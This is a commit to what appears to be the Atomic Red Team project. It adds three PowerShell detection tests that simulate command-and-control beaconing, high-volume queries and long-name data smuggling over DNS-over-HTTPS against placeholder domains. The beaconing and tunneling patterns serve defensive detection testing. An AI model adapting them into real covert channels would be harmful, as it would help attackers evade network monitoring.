T1572 Protocol Tunneling (DNS over HTTPS) (#1585)

* Added DoH tunneling for T1071.004 tests 1-3

* Narrowed console output to the request content
This commit is contained in:
John Chamblee
2021-08-04 17:23:10 -05:00
committed by GitHub
parent 2ffeae2444
commit ce242038b2
3 changed files with 150 additions and 0 deletions
+105
View File
@@ -0,0 +1,105 @@
attack_technique: T1572
display_name: 'Protocol Tunneling'
atomic_tests:
- name: DNS over HTTPS Large Query Volume
description: |
This test simulates an infected host sending a large volume of DoH queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
supported_platforms:
- windows
input_arguments:
doh_server:
description: Default DoH resolver
type: string
default: https://8.8.8.8/resolve
query_type:
description: DNS query type
type: string
default: TXT
subdomain:
description: Subdomain prepended to the domain name
type: string
default: atomicredteam
query_volume:
description: Number of DNS queries to send
type: integer
default: "1000"
domain:
description: Default domain to simulate against
type: string
default: 127.0.0.1.xip.io
executor:
command: |
for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
name: powershell
- name: DNS over HTTPS Regular Beaconing
description: |
This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
supported_platforms:
- windows
input_arguments:
doh_server:
description: Default DoH resolver
type: string
default: https://8.8.8.8/resolve
runtime:
description: Time in minutes to run the simulation
type: integer
default: "30"
domain:
description: Default domain to simulate against
type: string
default: 127.0.0.1.xip.io
subdomain:
description: Subdomain prepended to the domain name
type: string
default: atomicredteam
query_type:
description: DNS query type
type: string
default: TXT
c2_interval:
description: Seconds between C2 requests to the command and control server
type: integer
default: "30"
c2_jitter:
description: Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests
type: integer
default: "20"
executor:
command: |
Set-Location PathToAtomicsFolder
.\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
name: powershell
- name: DNS over HTTPS Long Domain Query
description: |
This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
supported_platforms:
- windows
input_arguments:
doh_server:
description: Default DoH resolver
type: string
default: https://8.8.8.8/resolve
query_type:
description: DNS query type
type: string
default: TXT
subdomain:
description: Subdomain prepended to the domain name (should be 63 characters to test maximum length)
type: string
default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
domain:
description: Default domain to simulate against
type: string
default: 127.0.0.1.xip.io
executor:
command: |
Set-Location PathToAtomicsFolder
.\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
name: powershell
+19
View File
@@ -0,0 +1,19 @@
param(
[string]$DohServer = "https://8.8.8.8/resolve",
[string]$Domain = "example.com",
[string]$Subdomain = "atomicredteam",
[string]$QueryType = "TXT",
[int]$C2Interval = 30,
[int]$C2Jitter = 20,
[int]$RunTime = 30
)
$RunStart = Get-Date
$RunEnd = $RunStart.addminutes($RunTime)
Do {
$TimeNow = Get-Date
(Invoke-WebRequest "$($DohServer)?name=$Subdomain.$(Get-Random -Minimum 1 -Maximum 999999).$Domain&type=$QueryType" -UseBasicParsing).Content
$Jitter = (Get-Random -Minimum -$C2Jitter -Maximum $C2Jitter) / 100 + 1
Start-Sleep -Seconds $C2Interval
}
Until ($TimeNow -ge $RunEnd)
@@ -0,0 +1,26 @@
param(
[string]$DohServer = "https://8.8.8.8/resolve",
[string]$Domain = "example.com",
[string]$Subdomain = "atomicredteamatomicredteamatomicredteamatomicredteamatomicredte",
[string]$QueryType = "TXT"
)
$Subdomain1Length = 1;
$Subdomain2Length = 1;
$Subdomain3Length = 1;
$Subdomain4Length = 1;
for($i=$Domain.Length+12; $i -le 253; $i++) {
$DomainLength = ([string]$i).PadLeft(3, "0")
$DomainToQuery = $DomainLength + "." +
$Subdomain.substring(0, $Subdomain1Length) + "." +
$Subdomain.substring(0, $Subdomain2Length) + "." +
$Subdomain.substring(0, $Subdomain3Length) + "." +
$Subdomain.substring(0, $Subdomain4Length) + "." +
$Domain
(Invoke-WebRequest "$($DohServer)?name=$DomainToQuery&type=$QueryType" -UseBasicParsing).Content
if ($Subdomain1Length -lt 63) { $Subdomain1Length++ }
elseif ($Subdomain2Length -lt 63) { $Subdomain2Length++ }
elseif ($Subdomain3Length -lt 63) { $Subdomain3Length++ }
elseif ($Subdomain4Length -lt 63) { $Subdomain4Length++ }
}